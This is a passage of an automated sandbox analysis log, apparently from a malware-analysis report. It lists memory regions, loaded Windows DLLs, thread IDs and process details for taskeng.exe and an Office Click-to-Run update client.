0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1680 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1681 start_va = 0x7fffffdc000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 1682 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1683 start_va = 0x2b0000 end_va = 0x3affff entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 1684 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1685 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1686 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1687 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1688 start_va = 0xd0000 end_va = 0x136fff entry_point = 0xd0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1689 start_va = 0x140000 end_va = 0x23ffff entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 1690 start_va = 0x240000 end_va = 0x241fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 1691 start_va = 0x250000 end_va = 0x250fff entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 1692 start_va = 0x260000 end_va = 0x260fff entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 1693 start_va = 0x3b0000 end_va = 0x46ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003b0000" filename = "" Region: id = 1694 start_va = 0x520000 end_va = 0x52ffff entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 1695 start_va = 0x530000 end_va = 0x6b7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000530000" filename = "" Region: id = 1696 start_va = 0x6c0000 end_va = 0x840fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006c0000" filename = "" Region: id = 1697 start_va = 0x850000 end_va = 0xc42fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000850000" filename = "" Region: id = 1698 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1699 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1700 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1701 start_va = 0x7fef9440000 end_va = 0x7fef9449fff entry_point = 0x7fef9440000 region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 1702 start_va = 0x7fefd6b0000 end_va = 0x7fefd71cfff entry_point = 0x7fefd6b0000 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 1703 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1704 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1705 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1706 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1707 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1708 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1709 start_va = 0x7feffa40000 end_va = 0x7feffc42fff entry_point = 0x7feffa40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1710 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1711 start_va = 0x7feffd80000 end_va = 0x7feffe56fff entry_point = 0x7feffd80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1712 start_va = 0x270000 end_va = 0x270fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 1713 start_va = 0xd20000 end_va = 0xd9ffff entry_point = 0x0 region_type = private name = "private_0x0000000000d20000" filename = "" Region: id = 1714 start_va = 0xde0000 end_va = 0xe5ffff entry_point = 0x0 region_type = private name = "private_0x0000000000de0000" filename = "" Region: id = 1715 start_va = 0xe60000 end_va = 0xf5ffff entry_point = 0x0 region_type = private name = "private_0x0000000000e60000" filename = "" Region: id = 1716 start_va = 0xfa0000 end_va = 0x101ffff entry_point = 0x0 region_type = private name = "private_0x0000000000fa0000" filename = "" Region: id = 1717 start_va = 0x1020000 end_va = 0x109ffff entry_point = 0x0 region_type = private name = "private_0x0000000001020000" filename = "" Region: id = 1718 start_va = 0x1140000 end_va = 0x11bffff entry_point = 0x0 region_type = private name = "private_0x0000000001140000" filename = "" Region: id = 1719 start_va = 0x11c0000 end_va = 0x148efff entry_point = 0x11c0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1720 start_va = 0x14e0000 end_va = 0x155ffff entry_point = 0x0 region_type = private name = "private_0x00000000014e0000" filename = "" Region: id = 1721 start_va = 0x7fef8120000 end_va = 0x7fef8128fff entry_point = 0x7fef8120000 region_type = mapped_file name = "tschannel.dll" filename = "\\Windows\\System32\\TSChannel.dll" (normalized: "c:\\windows\\system32\\tschannel.dll") Region: id = 1722 start_va = 0x7fefd180000 end_va = 0x7fefd1c6fff entry_point = 0x7fefd180000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1723 start_va = 0x7fefd480000 end_va = 0x7fefd496fff entry_point = 0x7fefd480000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1724 start_va = 0x7fefda50000 end_va = 0x7fefda74fff entry_point = 0x7fefda50000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1725 start_va = 0x7fefda80000 end_va = 0x7fefda8efff entry_point = 0x7fefda80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1726 start_va = 0x7fefdb70000 end_va = 0x7fefdb83fff entry_point = 0x7fefdb70000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 1727 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1728 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1729 start_va = 0x7feff640000 end_va = 0x7feff6b0fff entry_point = 0x7feff640000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1730 start_va = 0x7feff9a0000 end_va = 0x7feffa38fff entry_point = 0x7feff9a0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1731 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 1732 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 1733 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 1734 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 1735 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Thread: id = 127 os_tid = 0x630 Thread: id = 128 os_tid = 0x670 Thread: id = 129 os_tid = 0x620 Thread: id = 130 os_tid = 0x5b4 Thread: id = 131 os_tid = 0x4bc Thread: id = 135 os_tid = 0x310 Thread: id = 136 os_tid = 0x374 Thread: id = 137 os_tid = 0x870 Process: id = "17" image_name = "taskeng.exe" filename = "c:\\windows\\system32\\taskeng.exe" page_root = "0x608c000" os_pid = "0x874" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x36c" cmd_line = "taskeng.exe {14740F69-B913-4E07-BB0B-17B3EA08906B} S-1-5-21-2345716840-1148442690-1481144037-1000:YKYD69Q\\aETAdzjz:Interactive:LUA[1]" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1736 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1737 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1738 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1739 start_va = 0x170000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 1740 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1741 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1742 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1743 start_va = 0xff2b0000 end_va = 0xff323fff entry_point = 0xff2b0000 region_type = mapped_file name = "taskeng.exe" filename = "\\Windows\\System32\\taskeng.exe" (normalized: "c:\\windows\\system32\\taskeng.exe") Region: id = 1744 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1745 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1746 start_va = 0x7fffffd4000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 1747 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1748 start_va = 0x2f0000 end_va = 0x3effff entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 1749 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1750 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1763 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1764 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1765 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1766 start_va = 0xc0000 end_va = 0xc1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 1767 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 1768 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 1769 start_va = 0xf0000 end_va = 0x16ffff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 1770 start_va = 0x1f0000 end_va = 0x2effff entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 1771 start_va = 0x3f0000 end_va = 0x577fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 1772 start_va = 0x580000 end_va = 0x580fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000580000" filename = "" Region: id = 1773 start_va = 0x590000 end_va = 0x59ffff entry_point = 0x0 region_type = private name = "private_0x0000000000590000" filename = "" Region: id = 1774 start_va = 0x5a0000 end_va = 0x720fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005a0000" filename = "" Region: id = 1775 start_va = 0x730000 end_va = 0x1b2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000730000" filename = "" Region: id = 1776 start_va = 0x1b30000 end_va = 0x1f22fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001b30000" filename = "" Region: id = 1777 start_va = 0x1f30000 end_va = 0x202ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f30000" filename = "" Region: id = 1778 start_va = 0x2040000 end_va = 0x20bffff entry_point = 0x0 region_type = private name = "private_0x0000000002040000" filename = "" Region: id = 1779 start_va = 0x2110000 end_va = 0x218ffff entry_point = 0x0 region_type = private name = "private_0x0000000002110000" filename = "" Region: id = 1780 start_va = 0x2220000 end_va = 0x229ffff entry_point = 0x0 region_type = private name = "private_0x0000000002220000" filename = "" Region: id = 1781 start_va = 0x22a0000 end_va = 0x231ffff entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 1782 start_va = 0x2320000 end_va = 0x25eefff entry_point = 0x2320000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1783 start_va = 0x27a0000 end_va = 0x281ffff entry_point = 0x0 region_type = private name = "private_0x00000000027a0000" filename = "" Region: id = 1784 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1785 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1786 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1787 start_va = 0x7fef8120000 end_va = 0x7fef8128fff entry_point = 0x7fef8120000 region_type = mapped_file name = "tschannel.dll" filename = "\\Windows\\System32\\TSChannel.dll" (normalized: "c:\\windows\\system32\\tschannel.dll") Region: id = 1788 start_va = 0x7fef9440000 end_va = 0x7fef9449fff entry_point = 0x7fef9440000 region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 1789 start_va = 0x7fefd180000 end_va = 0x7fefd1c6fff entry_point = 0x7fefd180000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1790 start_va = 0x7fefd480000 end_va = 0x7fefd496fff entry_point = 0x7fefd480000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1791 start_va = 0x7fefd6b0000 end_va = 0x7fefd71cfff entry_point = 0x7fefd6b0000 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 1792 start_va = 0x7fefda50000 end_va = 0x7fefda74fff entry_point = 0x7fefda50000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1793 start_va = 0x7fefda80000 end_va = 0x7fefda8efff entry_point = 0x7fefda80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1794 start_va = 0x7fefdb70000 end_va = 0x7fefdb83fff entry_point = 0x7fefdb70000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 1795 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1796 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1797 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1798 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1799 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1800 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1801 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1802 start_va = 0x7feff640000 end_va = 0x7feff6b0fff entry_point = 0x7feff640000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1803 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1804 start_va = 0x7feff9a0000 end_va = 0x7feffa38fff entry_point = 0x7feff9a0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1805 start_va = 0x7feffa40000 end_va = 0x7feffc42fff entry_point = 0x7feffa40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1806 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1807 start_va = 0x7feffd80000 end_va = 0x7feffe56fff entry_point = 0x7feffd80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1808 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 1809 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 1810 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 1811 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 1812 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 1813 start_va = 0x25f0000 end_va = 0x26cefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000025f0000" filename = "" Region: id = 1814 start_va = 0x2710000 end_va = 0x278ffff entry_point = 0x0 region_type = private name = "private_0x0000000002710000" filename = "" Region: id = 1815 start_va = 0x2930000 end_va = 0x29affff entry_point = 0x0 region_type = private name = "private_0x0000000002930000" filename = "" Region: id = 1816 start_va = 0x7fefc040000 end_va = 0x7fefc074fff entry_point = 0x7fefc040000 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 1817 start_va = 0x7fefc080000 end_va = 0x7fefc097fff entry_point = 0x7fefc080000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 1818 start_va = 0x7fefc4b0000 end_va = 0x7fefc505fff entry_point = 0x7fefc4b0000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 1819 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Thread: id = 132 os_tid = 0x5dc Thread: id = 133 os_tid = 0x22c Thread: id = 134 os_tid = 0x580 Thread: id = 139 os_tid = 0x510 Thread: id = 140 os_tid = 0x814 Thread: id = 141 os_tid = 0x1c8 Thread: id = 142 os_tid = 0x7e0 Thread: id = 143 os_tid = 0x740 Process: id = "18" image_name = "officec2rclient.exe" filename = "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe" page_root = "0x769b6000" os_pid = "0x244" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "16" os_parent_pid = "0x60c" cmd_line = "\"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeC2RClient.exe\" /update SCHEDULEDTASK displaylevel=False" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000d435" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 1751 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1752 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1753 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1754 start_va = 0x90000 end_va = 0x18ffff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 1755 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1756 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1757 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1758 start_va = 0x13f640000 end_va = 0x140682fff entry_point = 0x13f640000 region_type = mapped_file name = "officec2rclient.exe" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe") Region: id = 1759 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1760 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1761 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 1762 start_va = 0x7fffffde000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1976 start_va = 0x2e0000 end_va = 0x3dffff entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 1977 start_va = 0x77b20000 end_va = 0x77c3efff 